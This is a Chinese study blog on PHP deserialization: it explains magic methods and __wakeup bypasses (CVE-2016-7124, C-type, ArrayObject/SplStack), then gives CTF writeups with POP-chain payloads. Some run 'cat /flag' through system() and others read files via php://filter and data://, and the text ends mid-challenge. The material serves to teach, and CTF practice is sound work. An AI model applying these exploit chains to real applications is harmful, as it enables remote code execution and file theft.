反序列化初步


phpstorm的配置比其他的一些都要复杂些,我又不小心给我的一个东西删了
算是第三次配置php的环境了
注意:不能仅在这里选择php.exe,需要的是PHP的集成开发环境WAMP64

各方法基本用法

__consrtuct()

_construct()方法,输出结果:对象被创建了__consrtuct()。一个类进行序列化,触发这个魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Stu
{
public $name = 'aa';
public $age = 18;

function __construct()
{
echo '对象被创建了__consrtuct()';
}
}
$a=new Stu();
serialize($a);
?>

输出:对象被创建了__consrtuct()

__destruct(),__wakeup()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Stu
{
public $name = 'aa';
public $age = 18;

function __wakeup()
{
echo '执行了反序列化__wakeup()';
}
function __destruct()
{
echo '对象被销毁了__destruct()';
}

}
$a=new Stu();
$b = serialize($a);
unserialize($b);
?>

结果:执行了反序列化__wakeup()对象被销毁了__destruct()对象被销毁了__destruct()
反序列化会创建一个新的对象,这个新的对象会调用__wakeup()
然后我们反序列化,unserialize($b)没有被接收到其值,这个反序列化对象在语句执行完成后立即失去作用,php就会马上回收它,触发__destruct()
然后就是脚本执行到最后一行时,php开始清理$a,因为$a也是一个对象,php自动销毁,触发__destruct()

/[oc]:\d+:/i研究

OC正则表达式,意思就是过滤掉一些东西
\d+:/i什么意思?
\d:匹配一个数字字符。等价于[0-9]
+:匹配前面的子表达式一次或多次。例如,’zo+’能匹配”zo”以及”zoo”,但不能匹配”z”。+等价于{1,}.
/i:表示匹配的时候不区分大小写
思考下面的怎么绕过

1
2
3
4
5
if (preg_match('/[oc]:\d+:/i', $var)) { 
die('stop hacking!');
} else {
@unserialize($var);
}

这个正则是基本一定要把你的数字给过滤掉的
我们在paylaod表示类的长度的这类中,加上一个+就可以绕过了

1
O:+7:"Student":1:{s:1:"a";i:123;}

__wakeup()的绕过方式

1.属性个数大于真实个数(cve-2016-7124)
影响范围:php5<5.6.25,php7<7.0.10

1
O:7:"Student":1:{s:1:"a";i:123;}

假设这个的paylaod是这个,然后就是我们第四个位置的1,代表我们的这个student类的属性个数,我们把1改为2即可绕过wakeup函数
2.如果类中同时定义了__wakeup()和__unserialize()两个魔术方法,则只会触发__unserialize(),__wakeup()方法会被忽略
3.C绕过
O标识代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性和方法。这样一来,__wakeup()魔术方法就不会被自动调用
常规绕过:

1
2
3
O:4:“User”:2:{s:3:“age”;i:20;s:4:“name”;s:4:“daye”;}
变成下面
C:4:“User”:2:{}

4.C进阶绕过:愚人杯3rd [easy_php]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>

这里的核心是绕过__wake()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ctfshow{

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
system($this->ctfshow);
}

}
$a=new ctfshow();
echo serialize($a);
//O:7:"ctfshow":0:{}

我们得到paylaod

1
O:7:"ctfshow":0:{}

我们可以直接改C,但是这里都没有命令执行的步骤

1
2
3
4
5
6
7
8
9
10
 <?php

class ctfshow{
public $ctfshow="cat /f*";
}
$A=new ArrayObject;
$A->a=new ctfshow;
echo serialize($A);
?>

生成结果:

1
O:11:"ArrayObject":4:{i:0;i:0;i:1;a:0:{}i:2;a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}i:3;N;}

假设要传入的参数是name,我们将name进行编码,然后再将O改为C就可以了
5.或者使用SplStack()也是可以的

1
2
3
4
5
6
7
8
9
 <?php
class ctfshow{
public $ctfshow="cat /f*";
}
$a=new ctfshow;
$A=new SplStack();
$A->push($a);
echo serialize($A);
?>

6.GC回收机制后面遇见了再说

__sleep()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Stu
{
public $name = 'aa';
public $age = 18;

function __sleep()
{
echo '执行了序列化__sleep';
return array('name','age');
}

}
$a = new Stu();
serialize($a);
?>

输出结果:执行了序列化__sleep
__sleep()是php中的一个魔术方法,会在我对对象执行serialize()时自动调用

__call()

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class MyClass {
public function __call($name, $arguments) {
echo "调用了不存在的方法 $name,参数为:". implode(', ', $arguments);
}
}

$obj = new MyClass();
$obj->nonExistentMethod('param1', 'param2');


?>

结果:调用了不存在的方法 param1, param2

::前面为类,后面方法和参数

1
2
3
4
5
6
7
8
9
10
<?php
class MyStaticClass {
public static function __callStatic($name, $arguments) {
echo "以静态方式调用了不存在的方法 $name,参数为:". implode(', ', $arguments);
}
}

MyStaticClass::nonExistentStaticMethod('param1', 'param2');

?>

结果:以静态方式调用了不存在的方法 param1, param2

call_user_func()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
call_user_func() 函数概述
在 PHP 里,call_user_func() 是一个十分实用的函数,其功能是调用任意用户自定义的函数。借助这个函数,你能够在运行时动态地调用函数,增强代码的灵活性。
基本语法
php

call_user_func(callable $callback, mixed ...$parameters): mixed


$callback:这是一个必选参数,代表要调用的函数。它可以是函数名(以字符串形式呈现)、对象的方法(用数组形式表示,数组第一个元素为对象实例,第二个元素为方法名)或者静态类方法(同样用数组形式,不过第一个元素是类名,第二个元素是方法名)。
$parameters:这是可选参数,为传递给被调用函数的参数。

用法示例
调用普通函数
php

function greet($name) {
return "Hello, $name!";
}

$result = call_user_func('greet', 'John');
echo $result;


在这个例子中,我们定义了一个 greet 函数,然后使用 call_user_func 来调用它,并且传递了参数 'John'。
调用对象的方法
php

class MyClass {
public function sayHello($name) {
return "Hello, $name!";
}
}

$obj = new MyClass();
$result = call_user_func([$obj, 'sayHello'], 'Jane');
echo $result;


这里,我们创建了 MyClass 的一个对象实例 $obj,接着通过 call_user_func 调用该对象的 sayHello 方法,并传入参数 'Jane'。
调用静态类方法
php

class MyStaticClass {
public static function sayGoodbye($name) {
return "Goodbye, $name!";
}
}

$result = call_user_func(['MyStaticClass', 'sayGoodbye'], 'Bob');
echo $result;


此例中,我们使用 call_user_func 调用了 MyStaticClass 类的静态方法 sayGoodbye,同时传入参数 'Bob'。
call_user_func($arguments[0]); 含义
call_user_func($arguments[0]); 意味着将 $arguments 数组的第一个元素当作要调用的函数,然后调用该函数。不过,要保证 $arguments[0] 是一个有效的可调用对象(比如函数名、对象方法或静态类方法),不然会引发错误。

以下是一个示例:

php

function add($a, $b) {
return $a + $b;
}

$arguments = ['add', 2, 3];
$result = call_user_func($arguments[0], $arguments[1], $arguments[2]);
echo $result;




在这个例子里,$arguments[0] 是 'add',也就是我们之前定义的 add 函数名,接着使用 call_user_func 调用该函数,并且传递了 $arguments[1] 和 $arguments[2] 作为参数。最终输出结果为 5。

—call(),在对象中调用一个不可以访问方法时调用
——callStatic(),用静态方式中调用一个不可以访问方法时调用
这里的静态与动态:静态方法指的是用 static 关键字声明的类方法,可以不实例化对象就直接调用
这里给的一个参数如果是数组,应该算做静态。不对
静态看的是你传的这个东西有没有实例化,有的就不是静态了
-toString(),类被当成字符串时的回应方法
-invoke(),调用函数的方式调用一个对象时的回应方法
下面四个都很少遇见

-get(),获得一个类的成员变量时调用

用于读取类中未定义或不可访问属性时被自动调用
或者访问该类的属性不存在
就是对于某类的属性是private或者protected时触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class User {
private $data = [
'name' => 'Alice',
'email' => 'alice@example.com'
];

public function __get($property) {
echo "__get 被调用:尝试访问 '$property'\n";
if (array_key_exists($property, $this->data)) {
return $this->data[$property];
}
return null;
}
}

$user = new User();
echo $user->name; // 触发 __get(),输出 Alice
echo $user->age; // 触发 __get(),输出 null
结果:__get 被调用:尝试访问 'name'
Alice__get 被调用:尝试访问 'age'

-isset(),当对不可访问属性调用isset()或empty()时调用
-set(),设置一个类的成员变量时调用
-unset(),当对不可访问属性调用unset()时被调用
ok,开始来做题

[SWPUCTF 2021 新生赛]ez_unserialize

1分
反序列化PHPJava反序列化
一进去看源码得知要看robots.txt
访问,回显:Disallow: /cl45s.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}

$p = $_GET['p'];
unserialize($p);

?>

有一个反序列化的题目,构造payload拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class wllm{

public $admin;
public $passwd;

public function __construct()
{
$this->admin = "admin";
$this->passwd = "ctf";
}
}
$p = new wllm();
echo serialize($p);
?>

[SWPUCTF 2021 新生赛]no_wakeup

1分
反序列化PHPJava反序列化
点进去一下,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __wakeup(){
$this->passwd = sha1($this->passwd);
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

很简单,构造paylaod再cve方法绕过wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class HaHaHa
{


public $admin;
public $passwd;

public function __construct()
{
$this->admin = "admin";
$this->passwd = "wllm";
}
}
$Letmeseesee = new HaHaHa();
echo serialize($Letmeseesee);

?>

[ZJCTF 2019]NiZhuanSiWei

1分
反序列化PHP伪协议PHP
一进去又给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

我们一开始需要进入if true的代码块里面,需要采用data://协议

1
2
3
4
5
6
7
8
9
10
11
12
data://协议
需要allow_url_fopen,allow_url_include均为on

这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用代码如下:

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

text/plain,表示的是文本

text/plain;base64, 若纯文本没用可用base64编码


这里我们选用纯文本模式:text=data://text/plain,welcome to the zjctf
结合源码,我们构造paylaod

1
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

这里读到了useless.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

这里我们就借助反序列化还剩的一个变量来拿flag
这里能够拿flag的原理就是,useless.php文件里面是__tostring()
然后刚才我们的源码就是刚好有echo

[SWPUCTF 2021 新生赛]pop

1分
反序列化PHP代码审计
一进来也是给了源码,其他的几乎什么也是没有的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 <?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

整体链子也是很简单,基本一下子就可以出来了
还有就是注意protected受保护属性序列化时,在变量名面前加上“%00*%00”,后面就没有加了
private私有属性序列化时,会在pub名字前加类名test,testpub明明是7个,为什么会是九个呢?在变量名面前加”%00类名(test)%00pub”;这样就是九个了

构造paylaod拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class w44m{

private $admin = 'w44m';
protected $passwd = '08067';

// public function Getflag(){
// if($this->admin === 'w44m' && $this->passwd ==='08067'){
// include('flag.php');
// echo $flag;
// }else{
// echo $this->admin;
// echo $this->passwd;
// echo 'nono';
// }
// }
}

class w22m{
public $w00m;
// public function __destruct(){
// echo $this->w00m;
// }
}

class w33m{
public $w00m;
public $w22m = 'Getflag';
// public function __toString(){
// $this->w00m->{$this->w22m}();
// return 0;
// }
}

$w00m = new w22m();
$w00m->w00m = new w33m();
$w00m->w00m->w00m = new w44m();
$a = serialize($w00m);
echo $a;
?>

[HUBUCTF 2022 新生赛]checkin

1分
反序列化弱比较PHP
一进去就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";

}

?>
username or password error!

这个源码就显示的非常奇怪,注意弱等于,然后就是我们稍微构造一下

1
2
3
4
5
6
7
8
<?php
$ab=array(
'username'=>true,
'password'=>true
);
$b=serialize($ab);
echo $b;
?>

回显:

1
a:2:{s:8:"username";b:1;s:8:"password";b:1;}

最后拿到flag

[SWPUCTF 2022 新生赛]1z_unserialize

1分
反序列化PHPRCE
题目描述

是很简单的反序列化噢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;

function __destruct()
{
$a = $this->lt;

$a($this->lly);
}


}
unserialize($_POST['nss']);
highlight_file(__FILE__);


?>

一进去就是源码,简单构造源码来拿到flag,很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class lyh{
public $url = 'NSSCTF.com';
public $lt = 'system';
public $lly = 'cat /flag';

function __destruct()
{
$a = $this->lt;

$a($this->lly);
}


}
$a = new lyh();
echo serialize($a);
?>

[SWPUCTF 2022 新生赛]ez_ez_unserialize

1分
反序列化PHPRCE
一进去也是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}

也是很简单的,paylaod也很简答,加上一个cve的wakeup漏洞的绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class X
{
public $x = 'fllllllag.php';
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
$a = new X('fllllllag.php');
echo serialize($a);

当然,我也只是知道具体的思路,那个系统的自动填补帮助我了一下,然后就出flag了

[NISACTF 2022]babyserialize

1分
反序列化PHPRCE
一进去也是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}

function __call($from,$val){
$this->fun=$val[0];
}

public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}

class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}

class Ilovetxw{
public $huang;
public $su;

public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}

public function __toString(){
$bb = $this->su;
return $bb();
}
}

class four{
public $a="TXW4EVER";
private $fun='abc';

public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}

if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}

//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}

//function hint(){
// echo ".......";
// die();
//}
?>

[NISACTF 2022]popchains

一进去是源码进来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}

public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}

class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}

public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/

这里还需要特别注意一个东西,也就是对于__toString的触发
最常见到的便是echo来触发这个,然后就是这里的给一个对象进行赋值
原本做到这个以为自己又会了,结果发现还有__get方法的调用不是很清晰,又回去补充了一下笔记再来做这道题目
这样链子就清晰了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

class Road_is_Long{
public $page;
public $string;
// public function __construct($file='index.php'){
// $this->page = $file;
// }
// public function __toString(){
// return $this->string->page;
// }
//
// public function __wakeup(){
// if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
// echo "You can Not Enter 2022";
// $this->page = "index.php";
// }
// }
}

class Try_Work_Hard{
protected $var= 'php://filter/convert.base64-encode/resource=/flag';
// public function append($value){
// include($value);
// }
// public function __invoke(){
// $this->append($this->var);
// }
}

class Make_a_Change{
public $effort ;
// public function __construct(){
// $this->effort = array();
// }
//
// public function __get($key){
// $function = $this->effort;
// return $function();
// }
}

$a = new Road_is_Long();
$b = new Make_a_Change();
$c = new Try_Work_Hard();
$a->page= $a;
$a->string=$b;
$b->effort=$c;

echo urlencode(serialize($a));

最后的paylaod就是这个,我们需要特别注意最后的有个地方,实例化一个类后,需要对此类的对象再实例化,就特别需要注意说不要两次调用,先把需要的都实例化了,再来调用

[第五空间 2021]pklovecloud

1分
反序列化PHPPhar反序列化
这里为什么是phar反序列化?第一遍看的时候觉得不是,特殊之处就是说,我这里需要给这个构造两个payload,这样才可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class acp
{
protected $cinder;
public $neutron='111';
public $nova='111';
// function __construct()
// {
// $this->cinder = new pkshow;
// }
// function __toString()
// {
// if (isset($this->cinder))
// return $this->cinder->echo_name();
// }
}

class ace
{
public $filename;
public $openstack;
public $docker;
// function echo_name()
// {
// $this->openstack = unserialize($this->docker);
// $this->openstack->neutron = $heat;
// if($this->openstack->neutron === $this->openstack->nova)
// {
// $file = "./{$this->filename}";
// if (file_get_contents($file))
// {
// return file_get_contents($file);
// }
// else
// {
// return "keystone lost~";
// }
// }
// }
}
$p = new acp();
$e = new ace();
$e->docker = new acp();
echo serialize($e->docker)

?>
1
O:3:"acp":3:{s:9:" * cinder";N;s:7:"neutron";s:3:"111";s:4:"nova";s:3:"111";} 

这里再改动一下

1
2
还有就是注意protected受保护属性序列化时,在变量名面前加上“%00*%00”,后面就没有加了
private私有属性序列化时,会在pub名字前加类名test,testpub明明是7个,为什么会是九个呢?在变量名面前加"%00类名(test)%00pub";这样就是九个了
1
O:3:"acp":3:{s:9:"%00*%00cinder";N;s:7:"neutron";s:3:"111";s:4:"nova";s:3:"111";}

再构造一次paylaod,发现拿不到flag,这里有三个问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class acp
{
protected $cinder;
public $neutron='111';
public $nova='111';
function __construct()
{
$this->cinder = new ace;
}
// function __toString()
// {
// if (isset($this->cinder))
// return $this->cinder->echo_name();
// }
}

class ace
{
public $filename='flag.php';
public $openstack;
public $docker = 'O:3:"acp":3:{s:9:"%00*%00cinder";N;s:7:"neutron";s:3:"111";s:4:"nova";s:3:"111";}';
// function echo_name()
// {
// $this->openstack = unserialize($this->docker);
// $this->openstack->neutron = $heat;
// if($this->openstack->neutron === $this->openstack->nova)
// {
// $file = "./{$this->filename}";
// if (file_get_contents($file))
// {
// return file_get_contents($file);
// }
// else
// {
// return "keystone lost~";
// }
// }
// }
}
$p = new acp();
$e = new ace();
$e->docker = new acp();
echo urlencode(serialize($p));

?>

1.这个主要的函数,file_get_contents($file);这个就是让你来phar反序列化的
2. $this->openstack->neutron = $heat;它不是包含了一个文件吗?这里如果要赋值的话那就的地址才行
3. function __construct()
{
$this->cinder = new ace;
}
这个在这里里面实例化为一个对象,外面不需要再加上我们的()的

ok,看wp了,补充一些知识
file_get_contents($file)可以实现包含文件的功能,不一定就是phar反序列化了
__toString的触发方法

1
2
3
4
1.对一个对象进行echo操作或者print操作时可以触发
2.声明的变量赋值为对象后与字符串做弱类型比较时会触发
3.声明的变量赋值为对象后进行正则表达式时会触发
4.声明的变量赋值为对象后进行大小写转化等等可以触发

还有这里,我上面的paylaod还有错误的,有一个思路上的错误
前面的链子其实都没有什么大的问题,注意理解下面的一句话

1
2
3
4
这个然后在上面有$this->$openstack = unserialize($this->docker),因此只要我们使
得$this->docker =null,然后让$this->filename=”flag.php”即可使得上面的判断成立
并且读取 flag.php。这个wp写的是我们我有一些问题,一个就是说,this->$openstack = unserialize($this->docker),因此只要我们使
得$this->docker =null。这个明明opebstack为什么null了,为什么还可以在里面调用,opebstack这个为什么都为null了,不是一个类,但是还可以调用

关于这个疑问的gpt解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
非常好,我们来详细分析你现在提供的代码逻辑,尤其是你反复提到的这个点:

为什么 $b->docker = null 就可以成功拿到 flag.php?

✅ 第一部分:确认关键逻辑链

这是你写的核心触发链:

// 创建对象并赋值
$a = new acp(); // 触发 __construct() -> $this->cinder = new ace;
$b = new ace();
$b->docker = null;
echo urlencode(serialize($a));

然后你访问:

vuln.php?pks=<payload>

触发了:

$logData = unserialize($_GET['pks']);
echo $logData;

✅ 第二部分:哪段代码被实际调用?

我们注意到:

echo $logData; 是在输出反序列化得到的对象 $logData。

所以,如果你传入的是 acp 的对象,echo 会触发 acp::__toString()。

acp::__toString() 返回 $this->cinder->echo_name()。

function __toString() {
if (isset($this->cinder)) {
return $this->cinder->echo_name();
}
}

也就是说,只要你控制 $this->cinder 是 ace 类型,那么就能调用 ace::echo_name()。

✅ 第三部分:来看 ace::echo_name() 的关键逻辑

function echo_name() {
$this->openstack = unserialize($this->docker); // line A
$this->openstack->neutron = $heat; // line B
if ($this->openstack->neutron === $this->openstack->nova) {
return file_get_contents($this->filename);
}
}

你说你设置了 $this->docker = null,为什么还能执行下去?
🧠 第四部分:关键点来了 —— unserialize(null) 的行为

我们来实测并分析:

var_dump(unserialize(null)); // bool(false)

所以:

$this->openstack = false;

然后执行:

$this->openstack->neutron = $heat;

这是对 false 赋对象属性,PHP 中会发生什么?

❗ PHP 的魔法行为:自动把标量变成 stdClass

是的,这就是很多 PHP 利用链中的关键!
✅ 在 PHP 中,你给 null 或 false 等非对象类型赋一个属性时,会自动转成 stdClass 对象。

这是你问的重点:

❓“$this->openstack = false(因为 unserialize(null)),为什么还能赋属性?”

✅ 举个例子:

$x = false;
$x->neutron = "abc";
var_dump($x); // object(stdClass)#1 (1) { ["neutron"]=> string(3) "abc" }

你可以在本地 PHP 跑一下验证:这是合法的!
✅ 所以在你的场景中会变成这样:

$this->docker = null;
$this->openstack = unserialize(null); // -> false

// line B:
$this->openstack->neutron = $heat;
// -> openstack 自动变成 stdClass,now has neutron

// 接着你又写:
if ($this->openstack->neutron === $this->openstack->nova)

此时:

$this->openstack->nova == null; // 因为 stdClass 没有 nova

你只需要控制 $heat = null,就有:

$this->openstack->neutron = null;
$this->openstack->nova = null; // 不存在的属性,值为 null

// 所以判断成立
if (null === null) // true

✅ 最终效果:

$filename = 'flag.php' → 读取文件成功;

条件成立,触发 file_get_contents(),你就拿到了 flag。

✅ 总结你的问题「为什么 null 可以继续使用?」
行为 解释
unserialize(null) 返回 false
false->property = ... 会触发 PHP 的自动转型机制,变为 stdClass 对象
stdClass 默认属性不存在时 读取时为 null,与 $heat = null 相等
所以 neutron === nova 成立 进而成功读取 flag.php
✅ 利用的“黑魔法”是:

false->property = xxx

→ PHP 自动将 false 转为 stdClass 对象并赋值。

如果你还需要我帮你构造一个 payload 示例,或者写成 Base64 / URL 编码格式的 GET 参数,我也可以帮你生成。只管说

就是为空了,php会把这个当作sta Class
里面什么都没有,你再调用,自然也是null。肯定满足强相等
也不管你这个$heat等于什么了
然后就是

1
2
3
<?php
$heat="asdasdasdasd53asd3a1sd3a1sd3asd";
$flag="flag in /nssctfasdasdflag";

发现什么也没有读到,这里我们选择
../nssctfasdasdflag

[GDOUCTF 2023]反方向的钟

1分
反序列化PHP伪协议PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>

这里有我们的代码
这个整体的逻辑都还是挺简单的,我们需要注意这里,特别是就是new了我们传入的对象,接下来我们应该怎么来拿到flag。自己再构造一个类吗?
这里用php的原生类

1
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

最后拿到flag

[SWPUCTF 2022 新生赛]ez_1zpop

1分
反序列化弱比较PHP
这个也比较简单,不多说了

[MoeCTF 2021]unserialize

1分
反序列化PHPRCE
题目描述

https://github.com/XDSEC/moeCTF_2021

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
 <?php

class entrance
{
public $start;

function __construct($start)
{
$this->start = $start;
}

function __destruct()
{
$this->start->helloworld();
}
}

class springboard
{
public $middle;

function __call($name, $arguments)
{
echo $this->middle->hs;
}
}

class evil
{
public $end;

function __construct($end)
{
$this->end = $end;
}

function __get($Attribute)
{
eval($this->end);
}
}

if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
